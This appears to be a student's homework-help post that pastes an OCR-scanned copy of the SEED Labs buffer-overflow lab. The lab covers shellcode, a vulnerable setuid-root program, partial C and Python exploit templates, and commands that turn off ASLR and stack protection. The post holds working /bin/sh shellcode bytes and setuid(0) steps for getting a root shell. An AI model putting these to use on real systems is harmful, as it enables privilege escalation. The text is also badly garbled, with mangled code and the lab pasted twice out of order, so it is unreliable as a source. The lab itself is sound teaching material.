computer security course, please I need help it due 3 hours.

1 Lab Overview The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulner- ability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the pro- gram, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics: Buffer overflow vulnerability and attack Shellcode Non-executable stack . Stack lavout in a function invocation Screenshot saved Address randomization The screenshot was added to yo OneDrive StackGuard Readings and related topics Detailed coverage of the buffer-overflow attack can be found in Chapter 4 of the SEED book, Computer Security: A Hands-on Approach, by Wenliang Du. A topic related to this lab is the return-to-libc attack, which is a technique used to defeat one of the countermeasures against buffer- overflow attacks. We have designed a separate lab for this technique. Chapter 5 of the SEED book focuses on the return-to-libc attack. Lab environment. This lab has been tested on our pre-built Ubuntu 12.04 VM and Ubuntu 16.04 VM both of which can be downloaded from the SEED website. 2 Lab Tasks 2.1 Turning Off Countermeasures You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult Back Buffer Overflow.pdf SEED Labs-Buffer Overflow Vulnerability Lab 22 Task 1: Running Shellcode Before starting the attack. let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: inelude cstdio.h> int main char nane [21a name[0) -bin/sh name[1)-NULL exeave (name (0), nane, NULL) The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. You can download the program from the webste call shellcode.c/ / You can get this program fron the lab's website /. A program that launches a shel1 using shellcode. #include include include satring.h const char codel1 x50 x68 sh Line 11 xorl eax, leax Line 2: pushl leax /Line 3: push 0x68732f2 / Line 4: push1 0x6e69622 / tine 5i movi esp, lebx 1x68-bi 1x50 Line 61 pushl eax x53 /> Line 71 pushl %ebx Line 8: mov Line 9: edq tecx x99 / Line 10: movb 0x0b, al / Line 11: int 0x80 nt main(int arge, char ."argv) chat butlsizeot (code) 1a strcpy Ibuf, code) ( (voidibut) Compile the code above using the following gcc command. Run the program and describe your ob- servations, Please do not forget to use the execstack option, which allows code to be executed from the stack: without this option, the program will fail. include include int bof(char st: char buffer [241 The tollowing statesent has a buffer overtlow problem strcpy (buffer. str) return 1i int main (int arge, char .argv) char str (5171a badfile -Eopen"badfile fread(str, sizeof (char. 517, badfile): bof (str printti Returned Properlyin return Compile the above vulnerable program Do not forget to include the or and -z execstackoptions to turn off the StackGuard and the non-executable stack protections, After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line ), and then change the permission to 4755 to enable the Set-UID bit (Line It should be noted that changing ownership must be done before turning on the Back Buffer-Overflow. pdf SEED Labs- Buffer Overflow Vulnerability Lab Set-UID bit, because ownership change will cause the Set-UID bit to be turned off. s gce- stack- execstack -fno-stack-protector stack.e $ sudo chown root stack sudo chmod 4755 stack The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile. and then passes this input to another buffer in the function bof .The original imput can have a maximam length of 517 bytes, but the buffer in bof () s only 24 bytes long. Because strepy() does tot check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user carn exploit this buffer overflow vulnerabality, the normal user might be able to get a root shell. It should be noted that the peogram gets its input from a file called badfile. This file is under users'control. Now, our objective is to create the contents for badfile, such that when the vulncrable program copies the contents into its buffer, a root shell can be spawned. For Instructor: To test whether students really know how to conduct the attack, during the demo time, ask students to change the buffer size from 24 to another number in the vulnerable program stack.c. I students really know the attack, they should be able to modify their attacking code and successfully launch the attack 24 Task 2: Exploiting the Vulnerability We provide you with a partially completed exploit code called "exploit . c" . The goal of this code is to constract contents for badfile. In this code, the shelleode is given to you. You need to develop the rest exploit.c /.A program that creates a file containing code for launching shell include include include catring.h char she11 code 1 /* Line 1: xor1 %eax,%eax /> Line 2! pushl %eax . Line 3: pushl 0x6873212 -Line 4: push 0x6e696225 /. tine 5: movi esp, lebx />Line 6t push! %eax / Line 71 push1 leba /* Line 8: movi tesp,teex /. Line 9: edq /.Line 20: movb 0x0b, tal / Line 11: int x50 x68/sh 1x68-bi 1x50 1x53 0x80 void maintint arge, char argv) char buffer(5171 FILE "badfilej / Initsalize buffer with 0x90 (NOP instruction)/ include include int main char argv[2): argv (0)-/bin/sh argv [1] NULL; // setuid(O) execve( /bin/sh"argv,NULL) return 0 The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program): goc dash shell test.c-o dash shell test sudo chown root dash shell test s sudo chnod 4755 dashshelltest From the above experiment, we will see that seuid (O) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve char shellcode 11 Line 1: xorl Line 3: novb The code below is the same as the one in Task 2 /Line 2: xorl tebx, lebar xed\x80 /Line 4: int 50x80 #include #include char shellcode [] "\x31\xco" "x50" " x68" //sh" " x68" "/bin" "\x89 xe3" "x50" "\x53" "\x89 xel" "\x99" /* Line 1: xor1 %eax, %eax /> Line 2: pushl %eax /Line 3: pushl $0x68732f2f /Line 4: pushl $0x6e69622f /* Line 5: movl %esp, %ebx /> Line 6: pushl %eax /> Line 7: pushl %ebx /* Line 8: movl %esp, %ecx /*Line 9: cdq /> Line 10: movb $0x0b,%al /Line 11: int "\xcd\x80" $0x80 void main (int argc, char **argv) char buffer[517]; FILE *badfile; /Initialize buffer with 0x90 (NOP instruction) SEED Labs - Buffer Overflow Vulnerability Lab 2 To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack cansll be successful. Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran domization [2] to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command: s sudo sysctl-w kernel.randomize_va_space 0 The StackGuard Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation to compile a program example.cwith StackGuard disabled, we can do the following: Protection Scheme. The GCC compiler implements a security mechanism called Stack using the fno-stack-protector option. For example, $ gcc -fno-stack-protector example.c 2.8 Task 6: Turn on the Non-executable Stack Protection Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the non executable stack protection s gec -ostack -fno-stack-protector -z noexecstack stack. SEED Labs Buffer Overflow Vulnerability Lab "\x68" "//sh" "\x 68" "/bin" "x89\xe3" "x50" "x53" "x89\xel" "x99" # pushl $0x68732f2f # pushl $0x 6e 69622f # push 1 teax # push! tebx esp, %ecx # cdq $0x0b, %al $0x80 movb "xcd\x80" "x00" # int .encode ('latin-1') # Fill the content with NOP's content bytearray (0x90 for i in range (517) # Replace 0 with the corre ct offset value # Fill the return address field with the addre ss of the she llcode # Replace 0xFF with the correct value content [D+0] = 0xFF # fill in the 1st byte (least significant byte) content [D+1] 0xFF # fill in the 2nd byte content [D+2] 0xFF # fill in the 3rd byte content [D+3] 0xFF # fill in the 4th byte (most significant byte) # put the she llcode at the end start 517- len(shellcode) content [start:] = shellcode # Write the content to badfile file= open ("badfile", "wb" ) file.write (content) file.close ( 2.5 Task 3: Defeating dash's Countermeasure As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program's changelog. We cncompares ral and efleeusgoup // https://launchpadlibrarian.net/240241543/dash0.5.8-2.1ubuntu2.diff.gz / main) function in main.c has following changes: +uid -getuid) ++ gid getgid ( ); *To limit bogus system (3) or popen (3) calls in setuid binaries, 9-2 * require -p flag to work in this situation tt if (pflag && (uid -geteuido II gid !-getegidO))ID SEED Labs - Buffer Overflow Vulnerability Lab setuid (uid); setgid(gid) 9-2 9-2 9-2 9-2 PSi might need to be changed accordingly choose_pa10i To see how the countermeasure in dash works and how to defeat it using the system call setuid (0) we write the following C program. We first comment out Line and run the program as a set-UID program (the owner should be root); please describe your observations. We then uncomment Line and run the program again; please describe your observations // dash_shel1_test.c #include #include #include int main) char argv [2]; argv[0] = "/bin/sh"; argv [1] NULL; // setuid (0); execve("/bin/sh", argv, NULL) return 0; The above program can be compiled and set up using the following commands (we need to make it ot-owned Set-UID program): ro $ gcc dash_shell_test.c-o dash_ shell_test $ sudo chown root dash shell_test $ sudo chmod 4755 dash shell_test From the above experiment, we will see that seuid (0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve (). char shellcode[] /Line 1: xorl /* Line 2: xrl /Line 3: movb /* Line 4: int The code below is the same as the one in Task 2 %eax, %eax %ebx, %ebx $0xd5,%al $0x80 */ */ */ "\xcd\x 80 Zoom in (Ctrl+Plus) the program and describe your ob servations. Please do not forget to use the execstack option, which allows code to be executed from the Compile the code above using the following gcc comi stack; without this option, the program will fail. $ gcc -z execstack -o call_shellcode cal1_shellcode.c SEED Labs - Buffer Overflow Vulnerability Lab The shellcode above invokes the execve ) system call to execute /bin/sh. A few places in this shellcode are worth mentioning. First, the third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and %h" has only 24 bits. Fortunately,r, is equivalent to ",", so we can get away with a double slash symbol. Second, before calling the execve ( ) system call, we need to store name [0] (the address of the string), name (the address of the array), and NULL to the %ebx. %ecx, and %edx registers, respectively. Line 5 stores name [0] to %ebx: Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.. xor1 %edx, %edx): the one (cdg) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %eax to 0, Third, the system call execve ( ) is called when we set %al to l I, and execute ..int $0x80". You will be provided with the following program, which has a buffer-overflow vulnerability in Line job is to exploit this vulnerability and gain the root privilege . Your /Vunlerable program: stack.c /You can get this program from the lab's website #include #include #include int bof (char *str) char buffer [24]; / The following statement has a buffer overflow problem / strcpy (buffer, str); return l; int main(int argc, char *argv) char str [517] FILE *badfile; badfile-fopen ("badfile", "r"); fread (str, sizeof (char), 517, badfile); bof (str); printf(" Returned Properly ")i return l; Many commands will behave differently if they are executed as Set-UID root processes, instead of ust as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful. void main) setuid (0 system ("/bin/sh"); Python Version. For students who are more familiar with Python than C, we have provided a Python version of the above C code. The program is called exploit.py, which can be downloaded from the lab's website. Students need to replace some of the values in the code with the correct ones. /usr/bin/python 3 mport sys shellcode-( # xori # pushl %eax %eax, %eax "\x50" Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer [] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and runit with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program) In the debugger, you can figure out the address of buffer [], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer [] may be slightly different when you run the Set-UID copy, instead of your copy, but you should be quite close If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach: Stack usually starts at the same address Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. . Therefore the range of addresses that we need to guess is actually quite small SEED Labs - Buffer Overflow Vulnerability Lab High Address void func (char 'str) { char buffer[12], int variable_a; strcpy (buffer, str) str (a pointer to a string) Return Address Previous Frame Pointer (FP) buffer[0] buffert! 1] variable_a Int main) Current FP char *str "I am greater than 12 bytes" func (str); Low Address (a) A code example (b) Active Stack Frame in func) SEED Labs - Buffer Overflow Vulnerability Lahb 2.2 Task 1: Running Shellcode Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: #include int main) char name [2]: name [0] "/bin/sh"; name [1] = NULL; execve (name [0], name, NULL) Finding the starting point of the malicious code. If you can accurately calculate the address of buffer you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu rately calculate the address (for example, for remote programs), you can stl guess. To improve the chance of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack. Storing a long integer in a buffer: In your exploit program, you might need to store an long integer 4 bytes) into an buffer starting at buffer [i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer, instead you can cast the bufferti into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]: char buffer [20]; long addr0xFFEEDD88; SEED Labs - Buffer Overflow Vulnerability Lab Malicious Code Malicious Code NOP (many NOP's) NOP str Return Address Previous FP sir Return Address Previous FP buffer [0..buffer [11 buffer [O].. buffer [11 (a) Jump to the malicious code (b) Improve the chance long ptr(long ) (buffer + i) *ptraddr 4 Submission You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits 1 Lab Overview The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulner- ability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the pro- gram, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics: Buffer overflow vulnerability and attack Shellcode Non-executable stack . Stack lavout in a function invocation Screenshot saved Address randomization The screenshot was added to yo OneDrive StackGuard Readings and related topics Detailed coverage of the buffer-overflow attack can be found in Chapter 4 of the SEED book, Computer Security: A Hands-on Approach, by Wenliang Du. A topic related to this lab is the return-to-libc attack, which is a technique used to defeat one of the countermeasures against buffer- overflow attacks. We have designed a separate lab for this technique. Chapter 5 of the SEED book focuses on the return-to-libc attack. Lab environment. This lab has been tested on our pre-built Ubuntu 12.04 VM and Ubuntu 16.04 VM both of which can be downloaded from the SEED website. 2 Lab Tasks 2.1 Turning Off Countermeasures You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult Back Buffer Overflow.pdf SEED Labs-Buffer Overflow Vulnerability Lab 22 Task 1: Running Shellcode Before starting the attack. let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: inelude cstdio.h> int main char nane [21a name[0) -bin/sh name[1)-NULL exeave (name (0), nane, NULL) The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. You can download the program from the webste call shellcode.c/ / You can get this program fron the lab's website /. A program that launches a shel1 using shellcode. #include include include satring.h const char codel1 x50 x68 sh Line 11 xorl eax, leax Line 2: pushl leax /Line 3: push 0x68732f2 / Line 4: push1 0x6e69622 / tine 5i movi esp, lebx 1x68-bi 1x50 Line 61 pushl eax x53 /> Line 71 pushl %ebx Line 8: mov Line 9: edq tecx x99 / Line 10: movb 0x0b, al / Line 11: int 0x80 nt main(int arge, char ."argv) chat butlsizeot (code) 1a strcpy Ibuf, code) ( (voidibut) Compile the code above using the following gcc command. Run the program and describe your ob- servations, Please do not forget to use the execstack option, which allows code to be executed from the stack: without this option, the program will fail. include include int bof(char st: char buffer [241 The tollowing statesent has a buffer overtlow problem strcpy (buffer. str) return 1i int main (int arge, char .argv) char str (5171a badfile -Eopen"badfile fread(str, sizeof (char. 517, badfile): bof (str printti Returned Properlyin return Compile the above vulnerable program Do not forget to include the or and -z execstackoptions to turn off the StackGuard and the non-executable stack protections, After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line ), and then change the permission to 4755 to enable the Set-UID bit (Line It should be noted that changing ownership must be done before turning on the Back Buffer-Overflow. pdf SEED Labs- Buffer Overflow Vulnerability Lab Set-UID bit, because ownership change will cause the Set-UID bit to be turned off. s gce- stack- execstack -fno-stack-protector stack.e $ sudo chown root stack sudo chmod 4755 stack The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile. and then passes this input to another buffer in the function bof .The original imput can have a maximam length of 517 bytes, but the buffer in bof () s only 24 bytes long. Because strepy() does tot check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user carn exploit this buffer overflow vulnerabality, the normal user might be able to get a root shell. It should be noted that the peogram gets its input from a file called badfile. This file is under users'control. Now, our objective is to create the contents for badfile, such that when the vulncrable program copies the contents into its buffer, a root shell can be spawned. For Instructor: To test whether students really know how to conduct the attack, during the demo time, ask students to change the buffer size from 24 to another number in the vulnerable program stack.c. I students really know the attack, they should be able to modify their attacking code and successfully launch the attack 24 Task 2: Exploiting the Vulnerability We provide you with a partially completed exploit code called "exploit . c" . The goal of this code is to constract contents for badfile. In this code, the shelleode is given to you. You need to develop the rest exploit.c /.A program that creates a file containing code for launching shell include include include catring.h char she11 code 1 /* Line 1: xor1 %eax,%eax /> Line 2! pushl %eax . Line 3: pushl 0x6873212 -Line 4: push 0x6e696225 /. tine 5: movi esp, lebx />Line 6t push! %eax / Line 71 push1 leba /* Line 8: movi tesp,teex /. Line 9: edq /.Line 20: movb 0x0b, tal / Line 11: int x50 x68/sh 1x68-bi 1x50 1x53 0x80 void maintint arge, char argv) char buffer(5171 FILE "badfilej / Initsalize buffer with 0x90 (NOP instruction)/ include include int main char argv[2): argv (0)-/bin/sh argv [1] NULL; // setuid(O) execve( /bin/sh"argv,NULL) return 0 The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program): goc dash shell test.c-o dash shell test sudo chown root dash shell test s sudo chnod 4755 dashshelltest From the above experiment, we will see that seuid (O) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve char shellcode 11 Line 1: xorl Line 3: novb The code below is the same as the one in Task 2 /Line 2: xorl tebx, lebar xed\x80 /Line 4: int 50x80 #include #include char shellcode [] "\x31\xco" "x50" " x68" //sh" " x68" "/bin" "\x89 xe3" "x50" "\x53" "\x89 xel" "\x99" /* Line 1: xor1 %eax, %eax /> Line 2: pushl %eax /Line 3: pushl $0x68732f2f /Line 4: pushl $0x6e69622f /* Line 5: movl %esp, %ebx /> Line 6: pushl %eax /> Line 7: pushl %ebx /* Line 8: movl %esp, %ecx /*Line 9: cdq /> Line 10: movb $0x0b,%al /Line 11: int "\xcd\x80" $0x80 void main (int argc, char **argv) char buffer[517]; FILE *badfile; /Initialize buffer with 0x90 (NOP instruction) SEED Labs - Buffer Overflow Vulnerability Lab 2 To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack cansll be successful. Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran domization [2] to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command: s sudo sysctl-w kernel.randomize_va_space 0 The StackGuard Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation to compile a program example.cwith StackGuard disabled, we can do the following: Protection Scheme. The GCC compiler implements a security mechanism called Stack using the fno-stack-protector option. For example, $ gcc -fno-stack-protector example.c 2.8 Task 6: Turn on the Non-executable Stack Protection Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the non executable stack protection s gec -ostack -fno-stack-protector -z noexecstack stack. SEED Labs Buffer Overflow Vulnerability Lab "\x68" "//sh" "\x 68" "/bin" "x89\xe3" "x50" "x53" "x89\xel" "x99" # pushl $0x68732f2f # pushl $0x 6e 69622f # push 1 teax # push! tebx esp, %ecx # cdq $0x0b, %al $0x80 movb "xcd\x80" "x00" # int .encode ('latin-1') # Fill the content with NOP's content bytearray (0x90 for i in range (517) # Replace 0 with the corre ct offset value # Fill the return address field with the addre ss of the she llcode # Replace 0xFF with the correct value content [D+0] = 0xFF # fill in the 1st byte (least significant byte) content [D+1] 0xFF # fill in the 2nd byte content [D+2] 0xFF # fill in the 3rd byte content [D+3] 0xFF # fill in the 4th byte (most significant byte) # put the she llcode at the end start 517- len(shellcode) content [start:] = shellcode # Write the content to badfile file= open ("badfile", "wb" ) file.write (content) file.close ( 2.5 Task 3: Defeating dash's Countermeasure As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program's changelog. We cncompares ral and efleeusgoup // https://launchpadlibrarian.net/240241543/dash0.5.8-2.1ubuntu2.diff.gz / main) function in main.c has following changes: +uid -getuid) ++ gid getgid ( ); *To limit bogus system (3) or popen (3) calls in setuid binaries, 9-2 * require -p flag to work in this situation tt if (pflag && (uid -geteuido II gid !-getegidO))ID SEED Labs - Buffer Overflow Vulnerability Lab setuid (uid); setgid(gid) 9-2 9-2 9-2 9-2 PSi might need to be changed accordingly choose_pa10i To see how the countermeasure in dash works and how to defeat it using the system call setuid (0) we write the following C program. We first comment out Line and run the program as a set-UID program (the owner should be root); please describe your observations. We then uncomment Line and run the program again; please describe your observations // dash_shel1_test.c #include #include #include int main) char argv [2]; argv[0] = "/bin/sh"; argv [1] NULL; // setuid (0); execve("/bin/sh", argv, NULL) return 0; The above program can be compiled and set up using the following commands (we need to make it ot-owned Set-UID program): ro $ gcc dash_shell_test.c-o dash_ shell_test $ sudo chown root dash shell_test $ sudo chmod 4755 dash shell_test From the above experiment, we will see that seuid (0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve (). char shellcode[] /Line 1: xorl /* Line 2: xrl /Line 3: movb /* Line 4: int The code below is the same as the one in Task 2 %eax, %eax %ebx, %ebx $0xd5,%al $0x80 */ */ */ "\xcd\x 80 Zoom in (Ctrl+Plus) the program and describe your ob servations. Please do not forget to use the execstack option, which allows code to be executed from the Compile the code above using the following gcc comi stack; without this option, the program will fail. $ gcc -z execstack -o call_shellcode cal1_shellcode.c SEED Labs - Buffer Overflow Vulnerability Lab The shellcode above invokes the execve ) system call to execute /bin/sh. A few places in this shellcode are worth mentioning. First, the third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and %h" has only 24 bits. Fortunately,r, is equivalent to ",", so we can get away with a double slash symbol. Second, before calling the execve ( ) system call, we need to store name [0] (the address of the string), name (the address of the array), and NULL to the %ebx. %ecx, and %edx registers, respectively. Line 5 stores name [0] to %ebx: Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.. xor1 %edx, %edx): the one (cdg) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %eax to 0, Third, the system call execve ( ) is called when we set %al to l I, and execute ..int $0x80". You will be provided with the following program, which has a buffer-overflow vulnerability in Line job is to exploit this vulnerability and gain the root privilege . Your /Vunlerable program: stack.c /You can get this program from the lab's website #include #include #include int bof (char *str) char buffer [24]; / The following statement has a buffer overflow problem / strcpy (buffer, str); return l; int main(int argc, char *argv) char str [517] FILE *badfile; badfile-fopen ("badfile", "r"); fread (str, sizeof (char), 517, badfile); bof (str); printf(" Returned Properly ")i return l; Many commands will behave differently if they are executed as Set-UID root processes, instead of ust as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful. void main) setuid (0 system ("/bin/sh"); Python Version. For students who are more familiar with Python than C, we have provided a Python version of the above C code. The program is called exploit.py, which can be downloaded from the lab's website. Students need to replace some of the values in the code with the correct ones. /usr/bin/python 3 mport sys shellcode-( # xori # pushl %eax %eax, %eax "\x50" Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer [] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and runit with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program) In the debugger, you can figure out the address of buffer [], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer [] may be slightly different when you run the Set-UID copy, instead of your copy, but you should be quite close If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach: Stack usually starts at the same address Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. . Therefore the range of addresses that we need to guess is actually quite small SEED Labs - Buffer Overflow Vulnerability Lab High Addre